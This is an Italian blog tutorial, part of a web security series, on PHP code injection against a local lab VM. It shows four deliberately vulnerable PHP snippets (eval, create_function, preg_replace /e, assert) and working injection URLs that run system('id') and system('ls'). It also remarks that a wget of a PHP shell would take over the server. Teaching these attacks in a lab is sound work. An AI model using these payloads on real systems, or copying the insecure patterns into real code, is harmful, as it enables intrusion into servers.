Nozioni basilari di (in)sicurezza delle applicazioni Web – Parte 7 - Code Injection

Tempo di lettura: 7 minuti
Data pubblicazione: May 4, 2017

Permettere ad un utente di eseguire codice su un programma o su un’applicazione web è una delle operazioni più sensibili che si possano permettere allo stesso. Non bisogna mai fidarsi dell’input e deve essere sempre trattato con i guanti, sanitizzando e debuggando le parti di codice più sensibili. Il buffer overflow è un classico esempio di iniezione di codice, il quale può mettere a repentaglio un intero sistema!

Ma visto che in questa serie non si parla di sicurezza del software, torniamo sui nostri passi ed iniziamo ad analizzare un applicazione web vulnerabile a questo attacco.

Code Injection

OWASP lo definisce come un attacco atto ad iniettare codice che verrà poi interpretato/eseguito dall’applicazione. Questi attacchi, come sempre, sono possibili a causa di una mancata validazione dell’input, nel quale:

  • son permessi caratteri speciali;
  • può essere modificato il formato dei dati;
  • non è previsto un limite (o è mal-gestito) nella definizione delle variabili.

Esempio 1

La richiesta è una GET classica (vulnerabile a XSS tra l’altro). Dopo qualche tentativo di inserimento di caratteri speciali, notiamo che le virgolette " rompono l’applicazione, la quale stampa un errore

Errore nell'applicazione
Errore nell'applicazione

Nel caso non si sapesse come proseguire, basta seguire gli errori che vengono stampati di volta in volta. Con le virgolette abbiamo rotto l’applicazione, quindi basta chiudere la linea ( con ; ), inserire il comando che vogliamo e chiudere di nuovo.

http://192.168.56.101/codeexec/example1.php?name=";system('id');"

Il codice utilizzato era

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line">  <span class="nv">$str</span><span class="o">=</span><span class="s2">"echo </span><span class="se">\"</span><span class="s2">Hello "</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]</span><span class="o">.</span><span class="s2">"!!!</span><span class="se">\"</span><span class="s2">;"</span><span class="p">;</span>
</span>
<span class="line">  <span class="k">eval</span><span class="p">(</span><span class="nv">$str</span><span class="p">);</span>
</span><span class="line"><span class="cp">?></span></span></code>

Come si può vedere, non c’è nessuna validazione, quindi terminando la stringa con le virgolette il codice viene interrotto.

Esempio 2

Questo esempio era già più complesso, ma ancora nessun filtraggio dell’input. Per accorgerci basta inserire una serie di caratteri dopo name ed osservare gli errori stampati con attenzione. Se viene inserito un apice, l’errore ritornato sarà

unexpected T_CONSTANT_ENCAPSED_STRING

il quale fa capire che servirà un carattere di chiusura per poter eseguire qualche comando utile ai nostri fini. Dopo qualche tentativo, la stringa finale risulterà (nel mio caso):

http://192.168.56.101/codeexec/example2.php?order=name);}system('ls');//
Soluzione esempio 2
Soluzione esempio 2

Il codice buggato era

<code class="php"><span class="line"><span class="nv">$order</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"order"</span><span class="p">];</span>
</span><span class="line">  <span class="nv">$result</span> <span class="o">=</span> <span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
</span><span class="line">  <span class="k">if</span> <span class="p">(</span><span class="nv">$result</span><span class="p">)</span> <span class="p">{</span>
</span><span class="line">      <span class="k">while</span> <span class="p">(</span><span class="nv">$row</span> <span class="o">=</span> <span class="nb">mysql_fetch_assoc</span><span class="p">(</span><span class="nv">$result</span><span class="p">))</span> <span class="p">{</span>
</span><span class="line">      <span class="nv">$users</span><span class="p">[]</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">User</span><span class="p">(</span><span class="nv">$row</span><span class="p">[</span><span class="s1">'id'</span><span class="p">],</span><span class="nv">$row</span><span class="p">[</span><span class="s1">'name'</span><span class="p">],</span><span class="nv">$row</span><span class="p">[</span><span class="s1">'age'</span><span class="p">]);</span>
</span><span class="line">    <span class="p">}</span>
</span><span class="line">    <span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$order</span><span class="p">))</span> <span class="p">{</span>
</span><span class="line">      <span class="nb">usort</span><span class="p">(</span><span class="nv">$users</span><span class="p">,</span> <span class="nb">create_function</span><span class="p">(</span><span class="s1">'$a, $b'</span><span class="p">,</span> <span class="s1">'return strcmp($a->'</span><span class="o">.</span><span class="nv">$order</span><span class="o">.</span><span class="s1">',$b->'</span><span class="o">.</span><span class="nv">$order</span><span class="o">.</span><span class="s1">');'</span><span class="p">));</span>
</span><span class="line">    <span class="p">}</span>
</span><span class="line">  <span class="p">}</span>
</span></code>

Come prima, abbiamo interrotto la normale esecuzione chiudendo tutta la sfilza di parentesi, ed è stato poi iniettato il nostro comando.

Esempio 3

Fino alla versione di PHP 5.5 esisteva un modificatore (PCRE REPLACE EVAL) che permetteva di eseguire codice PHP prima che preg_replace rimpiazzasse il codice. In questo esempio vediamo un chiaro esempio di come fosse semplice sfruttare la vulnerabilità.

Codice insicuro
Codice insicuro

La richiesta è una GET, nella quale viene utilizzato questo modificatore

http://192.168.56.101/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello lamer

Il pattern da sostituire è lamer, seguito dal modificatore. Per evadere il codice, basta aggiungere il modificatore in chiaro e il codice da eseguire al posto del nome che viene stampato (hacker).

Soluzione esempio 3
Soluzione esempio 3

Il codice vulnerabile era

<code class="php"><span class="line"><span class="o"><?</span><span class="nx">php</span>
</span><span class="line">  <span class="k">echo</span> <span class="nb">preg_replace</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s2">"pattern"</span><span class="p">],</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"new"</span><span class="p">],</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">"base"</span><span class="p">]);</span>
</span><span class="line"><span class="cp">?></span></span></code>

Esempio 4

Come prima, basta iniettare un pò di caratteri per trovare l’errore.

http://192.168.56.101/codeexec/example4.php?name=hacker'
 
unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert()

e sempre come prima, con qualche tentativo troviamo il carattere che permette di ricostruire l’applicazione ed eseguire il codice che vogliamo

Il codice utilizzato era

<code class="php"><span class="line"><span class="nb">assert</span><span class="p">(</span><span class="nb">trim</span><span class="p">(</span><span class="s2">"'"</span><span class="o">.</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]</span><span class="o">.</span><span class="s2">"'"</span><span class="p">));</span>
</span><span class="line"><span class="k">echo</span> <span class="s2">"Hello "</span><span class="o">.</span><span class="nb">htmlentities</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]);</span>
</span></code>

Visto che neanche stavolta non ci sono filtraggi, basta seguire lo stile di programmazione ed aggiungere i punti per convalidare il codice da noi inserito.

Conclusioni

Questo attacco può essere molto semplice da trovare nel caso sia un’applicazione scritta a mano, da chi non ha nessuna infarinatura di sicurezza ed è sicuramente alle prime armi nella programmazione. Una volta trovata un applicazione vulnerabile, oltre ai comandi di esempio inseriti, si potrebbe tranquillamente eseguire un wget ad una shell in php ed avere in mano il sistema, con tutte le pericolosità del caso.